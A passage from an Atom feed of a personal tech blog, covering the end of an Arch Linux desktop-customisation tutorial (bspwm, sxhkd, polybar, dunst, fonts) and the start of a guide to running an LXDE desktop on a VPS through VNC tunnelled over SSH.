&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-keyword z-control z-conditional z-end z-shell&quot;&gt;fi&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If you take a look at my configuration, you’ll see that a lot of stuff is launched with X, but don’t worry about that for now: we’ll add lines to your .xinitrc progressively.&lt;&#x2F;p&gt;
&lt;p&gt;Now you need to install some drivers: for your graphics card, choose from the list &lt;a href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Xorg#Driver_installation&quot;&gt;here&lt;&#x2F;a&gt;. I have Intel Graphics on my laptop so I went with the xf86-video-intel package. We’ll also install xf86-input-evdev, the evdev input driver, and xf86-input-synaptics for a laptop’s touchpad:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;# pacman -S xf86-video-intel xf86-input-evdev xf86-input-synaptics
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That’s all for now, but we’re not ready yet to launch Xorg: we need at the very least a window manager.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bspwm-sxhkd&quot;&gt;bspwm, sxhkd&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;baskerville&#x2F;bspwm&quot;&gt;bspwm&lt;&#x2F;a&gt; is a tiling window manager. Tiling WMs are quite different from the ones you’re used to on Windows &#x2F; Mac &#x2F; most ditributions, basically they make sure your windows don’t overlap and always occupy the maximum available space on your screen. They allow to “ditch the mouse” and use keyboard commands exclusively, which has undeniable haxxor leet bonus points, and they’re usually lightweight and highly configurable.&lt;&#x2F;p&gt;
&lt;p&gt;Going from a stacking WM (the usual type) to a tiling WM takes some time because of their keyboard-driven nature: you’ll have to remember a lot of keyboard shortcuts. However, if you do the effort, you’ll probably never look back since you’ll be way more efficient. If this is your first time using bspwm, you probably should watch this video:&lt;&#x2F;p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https:&#x2F;&#x2F;www.youtube-nocookie.com&#x2F;embed&#x2F;_pA6EaUkep0&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;&#x2F;iframe&gt;
&lt;p&gt;&lt;em&gt;bspwm&lt;&#x2F;em&gt; is 100% configured and controlled by &lt;code&gt;bspc&lt;&#x2F;code&gt; commands, so any hotkey daemon works flawlessly to use it. We’ll use &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;baskerville&#x2F;sxhkd&quot;&gt;sxhkd&lt;&#x2F;a&gt; (same developer), which is also lightweight and very easy to configure.&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;# pacman -S bspwm sxhkd
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Copy my configuration over to the appropriate location:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ mkdir -p ~&#x2F;.config&#x2F;bspwm ~&#x2F;.config&#x2F;sxhkd
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ cp ~&#x2F;yzoug-dotfiles&#x2F;bspwmrc ~&#x2F;.config&#x2F;bspwm&#x2F;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ cp ~&#x2F;yzoug-dotfiles&#x2F;sxhkdrc ~&#x2F;.config&#x2F;sxhkd&#x2F;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;em&gt;bspwmrc&lt;&#x2F;em&gt; is a shell script file (much like ~&#x2F;.xinitrc) and is hence just a list of commands that will be executed when bspwm is started. This is where you choose the name of your desktops, configure some options, etc. You’ll also see that at the very beginning there is a &lt;em&gt;toggle_panel&lt;&#x2F;em&gt; script that is launched (available in my bin&#x2F; folder). For now, delete the line: we’ll come back and add it when &lt;em&gt;polybar&lt;&#x2F;em&gt; is installed and configured.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;sxhkdrc&lt;&#x2F;em&gt; contains keybindings like “super + e” to represent a press on the Super key (the one with the Windows logo, usually) and the ‘e’ key simultaneously. To know for sure the name of a key, use &lt;strong&gt;xev&lt;&#x2F;strong&gt; (you’ll need the &lt;em&gt;xorg-xev&lt;&#x2F;em&gt; package). You should probably either heavily modify this file to delete references to custom scripts (again, in my bin folder) or packages you don’t use, or you could simply download the default configuration from &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;baskerville&#x2F;bspwm&#x2F;tree&#x2F;master&#x2F;examples&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;first-startx&quot;&gt;First startx&lt;&#x2F;h2&gt;
&lt;p&gt;Now that bspwm and sxhkd are configured, you only have to add them to your .xinitrc, they’ll be launched with X. Be sure to put the exec statement at the very end of the file, and launch &lt;strong&gt;in the background&lt;&#x2F;strong&gt; any command that doesn’t return (like sxhkd).&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh z-code&quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;sxhkd&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-logical z-job z-shell&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-support z-function z-exec z-shell&quot;&gt;exec&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; bspwm&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You’re finally ready! Go ahead, you earned it:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ startx
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You should be welcomed by a black screen: if that’s the case, you launched X successfully! If not, take a look at the &lt;a href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Xorg#Troubleshooting&quot;&gt;Troubleshooting&lt;&#x2F;a&gt; section of the Xorg archwiki page, google around, check the logs…&lt;&#x2F;p&gt;
&lt;p&gt;Let’s try and launch a terminal. If you didn’t change the shortcut, super + Enter launches urxvt, you hence first need to download the &lt;em&gt;rxvt-unicode&lt;&#x2F;em&gt; package (or any other terminal emulator, just don’t forget to update your sxhkdrc). This is the result on my VM:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;introduction-to-ricing&#x2F;first-startx.webp&quot; alt=&quot;First startx - urxvt&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;It works, but it’s far from pretty! We now have to set a wallpaper, choose a colorscheme and apply it, install &lt;em&gt;polybar&lt;&#x2F;em&gt; and some fonts, a notification system, etc.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;appearence-and-usability&quot;&gt;Appearence and usability&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;xresources&quot;&gt;.Xresources&lt;&#x2F;h3&gt;
&lt;p&gt;Let’s tackle your ~&#x2F;.Xresources file!&lt;&#x2F;p&gt;
&lt;p&gt;The first thing we’ll do is set a colorscheme. Many are available, I use the light variant of the very popular &lt;a href=&quot;http:&#x2F;&#x2F;ethanschoonover.com&#x2F;solarized&quot;&gt;Solarized&lt;&#x2F;a&gt;. Setting a colorscheme is as simple as adding the correspondant code to your Xresources (&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;solarized&#x2F;xresources&quot;&gt;here&lt;&#x2F;a&gt; for Solarized).&lt;&#x2F;p&gt;
&lt;p&gt;We also have to install a patched font from the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ryanoasis&#x2F;nerd-fonts&quot;&gt;nerd-fonts&lt;&#x2F;a&gt; repo. These fonts provide useful UTF-8 characters, which is great when we’ll have to edit the &lt;em&gt;polybar&lt;&#x2F;em&gt; config file, and is necessary if you plan on using packages like &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;powerline&#x2F;powerline&quot;&gt;Powerline&lt;&#x2F;a&gt; for example.&lt;&#x2F;p&gt;
&lt;p&gt;Browse around and choose your favorite font from the directory, but be sure to take the Mono version. My personal favorite being Source Code Pro, patched as Sauce Code Pro:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ mkdir -p ~&#x2F;.local&#x2F;share&#x2F;fonts
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;# pacman -S wget
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ wget -O ~&#x2F;.local&#x2F;share&#x2F;fonts&#x2F;Sauce\ Code\ Pro\ Mono.ttf https:&#x2F;&#x2F;github.com&#x2F;ryanoasis&#x2F;nerd-fonts&#x2F;blob&#x2F;master&#x2F;patched-fonts&#x2F;SourceCodePro&#x2F;Regular&#x2F;complete&#x2F;Sauce%20Code%20Pro%20Nerd%20Font%20Complete%20Mono.ttf
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ fc-cache
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;My .Xresources file sets that font and the light Solarized colorscheme, if you want to just copy it. Once your Xresources is ready, to apply the changes when X is started, add this to your .xinitrc:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh z-code&quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;xrdb&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;merge&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-expansion z-tilde&quot;&gt;&lt;span class=&quot;z-variable z-language z-tilde z-shell&quot;&gt;~&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&#x2F;.Xresources&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;feh&quot;&gt;Feh&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;feh.finalrewind.org&#x2F;&quot;&gt;Feh&lt;&#x2F;a&gt; is a very powerful and highly configurable image viewer. Be sure to take a look at the official website &#x2F; wiki &#x2F; man page to get a sense of what the program can do.&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;# pacman -S feh
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If you just want to set a wallpaper, you can add this line to your .xinitrc:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh z-code&quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;feh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; --&lt;&#x2F;span&gt;bg-fill&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;path&#x2F;to&#x2F;image&#x2F;file.jpg&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If you like to switch wallpapers often (like me), I have a &lt;em&gt;fehbg&lt;&#x2F;em&gt; script that, when called with no arguments, chooses a random file in ~&#x2F;wallpapers. You can of course change the directory by editing the script. If an argument is supplied, the script will set that file as wallpaper instead, but only if it is in ~&#x2F;wallpapers.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dmenu&quot;&gt;dmenu&lt;&#x2F;h3&gt;
&lt;p&gt;You need some kind of way to launch your programs easily. Since you have none of the tools a DE usually gives you, you can use &lt;a href=&quot;http:&#x2F;&#x2F;tools.suckless.org&#x2F;dmenu&#x2F;&quot;&gt;dmenu&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;# pacman -S dmenu
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can customize the way dmenu looks by the way you call it (the commandline arguments). You’ll see that I use a small script called &lt;em&gt;dmenu_run_perso&lt;&#x2F;em&gt;, specifying the colors, the font used, etc. If you want to use that, you’ll have to install the Adobe Source Code Pro font:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;# pacman -S adobe-source-code-pro-fonts
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Otherwise just replace &lt;em&gt;dmenu_run_perso&lt;&#x2F;em&gt; by &lt;em&gt;dmenu_run&lt;&#x2F;em&gt;, or adapt &lt;em&gt;dmenu_run_perso&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dunst&quot;&gt;Dunst&lt;&#x2F;h3&gt;
&lt;p&gt;Programs like your browser or scripts you write can send you notifications through &lt;em&gt;libnotify&lt;&#x2F;em&gt;. Those notifications will be handled by a notification daemon that will display them on your screen. DEs usually have their own notification system so we’ll have to use a standalone replacement.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;http:&#x2F;&#x2F;www.knopwob.org&#x2F;dunst&#x2F;&quot;&gt;Dunst&lt;&#x2F;a&gt; is a very lightweight solution, and very customizable via a simple configuration file. This is what my notifications look like:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;introduction-to-ricing&#x2F;sample-notification-dunst.webp&quot; alt=&quot;How my notifications look with dunst&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;For the same result:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;# pacman -S dunst
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ mkdir ~&#x2F;.config&#x2F;dunst
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ cp ~&#x2F;yzoug-dotfiles&#x2F;dunstrc ~&#x2F;.config&#x2F;dunst&#x2F;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As always, you can of course change the configs to suit your needs. If you want to send notifications via scripts (that run in the background and perform checks, for example), simply use &lt;em&gt;notify-send&lt;&#x2F;em&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;# pacman -S libnotify
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ notify-send &amp;quot;Hello&amp;quot; &amp;quot;World&amp;quot;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here’s a carefully orchestrated screenshot designed to show all the changes we’ve made up until now:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;introduction-to-ricing&#x2F;carefully-orchestrated-screenshot.webp&quot; alt=&quot;How our desktop looks&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We’re almost at the finish line!&lt;&#x2F;p&gt;
&lt;h3 id=&quot;polybar&quot;&gt;Polybar&lt;&#x2F;h3&gt;
&lt;p&gt;Previously called &lt;em&gt;Lemonbuddy&lt;&#x2F;em&gt;, &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;jaagr&#x2F;polybar&quot;&gt;Polybar&lt;&#x2F;a&gt; helps you create a cool statusbar even if your bash-fu isn’t top notch: it has built-in widgets (for bspwm, the volume, mpd, etc) and the configuration syntax is very simple.&lt;&#x2F;p&gt;
&lt;p&gt;For Arch, Polybar is available on the &lt;a href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Arch_User_Repository&quot;&gt;AUR&lt;&#x2F;a&gt;. Installing a package from the AUR is (usually) very straightforward, take a look &lt;a href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Arch_User_Repository#Installing_packages&quot;&gt;here&lt;&#x2F;a&gt; for details. For Polybar:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;# pacman -S --needed base-devel #if you haven&amp;#39;t done so already
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ git clone https:&#x2F;&#x2F;aur.archlinux.org&#x2F;polybar.git
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We now have the package and are getting ready to build it. Before proceeding, verify that the &lt;em&gt;PKGBUILD&lt;&#x2F;em&gt; and any &lt;em&gt;.install&lt;&#x2F;em&gt; files don’t contain anything shady: the AUR isn’t as trustworthy as the default repositories. If everything’s fine:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ makepkg -sri
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Polybar is now installed! As usual, either create your configs or copy mine and adapt them:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ mkdir ~&#x2F;.config&#x2F;polybar
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ cp ~&#x2F;yzoug-dotfiles&#x2F;poybar ~&#x2F;.config&#x2F;polybar&#x2F;config
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If your terminal emulator uses the Sauce Code Pro font, you should be able to see the custom icons I chose for the desktops, the volume etc. Those are part of font-awesome, and we’ll have to install the font so that the bar can display them correctly. Like above, it’s an AUR package, same rules apply:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ git clone https:&#x2F;&#x2F;aur.archlinux.org&#x2F;font-awesome.git
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ cd font-awesome
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ makepkg -sri
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To change the icons and see what’s available, browse &lt;a href=&quot;http:&#x2F;&#x2F;fontawesome.io&#x2F;cheatsheet&#x2F;&quot;&gt;their cheatsheet&lt;&#x2F;a&gt; then copy and paste the character you choose.&lt;&#x2F;p&gt;
&lt;p&gt;To launch polybar, you can use the following command:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ polybar barname &amp;amp;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can either launch the bar with a script (like my &lt;code&gt;toggle_panel&lt;&#x2F;code&gt;, for which I assigned a keybinding in &lt;em&gt;sxhkdrc&lt;&#x2F;em&gt;) or put the line in your xinitrc. &lt;em&gt;barname&lt;&#x2F;em&gt; is defined in the configuration, if you use mine you’ll need to use “top”.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;Congratulations! Your computer now definitely looks like it’s owned by the weird D&amp;amp;D nerd in the basement office.&lt;&#x2F;p&gt;
&lt;p&gt;A last-minute confession: I didn’t always do things the “right” way, like by not creating a package to install nerd-fonts’ Source Code Pro. Please keep in mind this article is really only meant as a small guide to get you started with your own unique setup. You’re now encouraged to change as much configuration as you can, tear everything up and rebuild it with different tools, etc. You should hence do the appropriate research and basically know what you’re doing!&lt;&#x2F;p&gt;
&lt;p&gt;May you find much joy in the ricing world.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Secure VNC setup: full LXDE desktop on your VPS</title>
        <published>2016-07-12T00:00:00+00:00</published>
        <updated>2016-07-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Yassine Zouggari
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://zoug.fr/secure-vnc-for-your-vps/"/>
        <id>https://zoug.fr/secure-vnc-for-your-vps/</id>
        
        <content type="html" xml:base="https://zoug.fr/secure-vnc-for-your-vps/">&lt;p&gt;You can very easily setup a secure VNC connection between a cheap Virtual Private Server (VPS) and any computer you happen to have at your disposal.&lt;&#x2F;p&gt;
&lt;p&gt;I personnally find this very useful: you always have all your important files at your disposal, your favorite programs (GUI or not), your environment set-up as you like it, etc. It’s like always having your personal laptop with you except you don’t need it, just any computer with an Internet connection: all you need on the viewing end is an SSH client and a VNC viewer, programs you can easily have access to even without administration rights on the machine.&lt;&#x2F;p&gt;
&lt;p&gt;If you don’t have a VPS, you can easily find very cheap ones at a number of cloud providers. Let’s get to it!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;&#x2F;h2&gt;
&lt;p&gt;On your VPS, install x11vnc, Xvfb, and LXDE. For Debian-based distros:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh z-code&quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;aptitude&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; install x11vnc Xvfb lxde&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.x.org&#x2F;releases&#x2F;X11R7.6&#x2F;doc&#x2F;man&#x2F;man1&#x2F;Xvfb.1.xhtml&quot;&gt;Xvfb&lt;&#x2F;a&gt; is a “fake” X server. It’s designed to run headless: all operations are performed on memory and nothing is actually displayed. This is perfect in our case since we’ll remote control it over SSH. &lt;a href=&quot;http:&#x2F;&#x2F;www.karlrunge.com&#x2F;x11vnc&#x2F;&quot;&gt;x11vnc&lt;&#x2F;a&gt; is the VNC server we’ll use.&lt;&#x2F;p&gt;
&lt;p&gt;I chose to install a full LXDE desktop environment: it’s very lightweight and should run just fine even on a low-end VPS. It requires around 60 MB of RAM on my server (the &lt;a href=&quot;http:&#x2F;&#x2F;lxde.org&#x2F;lxde&#x2F;&quot;&gt;official website&lt;&#x2F;a&gt; advertises 45 MB so your value may be even lower). However, if you have no need for a full DE, feel free to install only a window manager like &lt;a href=&quot;http:&#x2F;&#x2F;openbox.org&#x2F;&quot;&gt;openbox&lt;&#x2F;a&gt; or &lt;a href=&quot;http:&#x2F;&#x2F;i3wm.org&#x2F;&quot;&gt;i3&lt;&#x2F;a&gt; (tiling wm).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;port-forwarding-and-starting-everything&quot;&gt;Port forwarding and starting everything&lt;&#x2F;h2&gt;
&lt;p&gt;In order to have a secure VNC connection, what we’ll do is setup x11vnc to listen on localhost only, then forward the port 5900 through SSH. You may of course choose another port for your VNC server. Keep in mind that this setup assumes you’re the only user on the VPS (or that you trust the other users that have access). Your traffic is hence encrypted through the SSH tunnel, but can be accessible by anyone connected to your machine. If that’s an issue you can set a password (see the manual of x11vnc) but we won’t do that here.&lt;&#x2F;p&gt;
&lt;p&gt;On your VPS:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh z-code&quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;Xvfb&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; :0&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;nolisten&lt;&#x2F;span&gt; tcp&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;screen&lt;&#x2F;span&gt; 0 1200x700x16&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-logical z-job z-shell&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;x11vnc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;many&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;localhost&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;rfbport&lt;&#x2F;span&gt; 5900&lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt; -&lt;&#x2F;span&gt;display&lt;&#x2F;span&gt; :0&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-logical z-job z-shell&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-assignment z-shell&quot;&gt;DISPLAY&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-shell&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-unquoted z-shell&quot;&gt;:0&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;startlxde&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;First, Xvfb:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;We’re giving it the screen number :0. You can use :1 or another number if, for example, you already have another X server running on :0.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;We specify not to listen to TCP&#x2F;IP connections, since we don’t use them and they can be a security risk&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
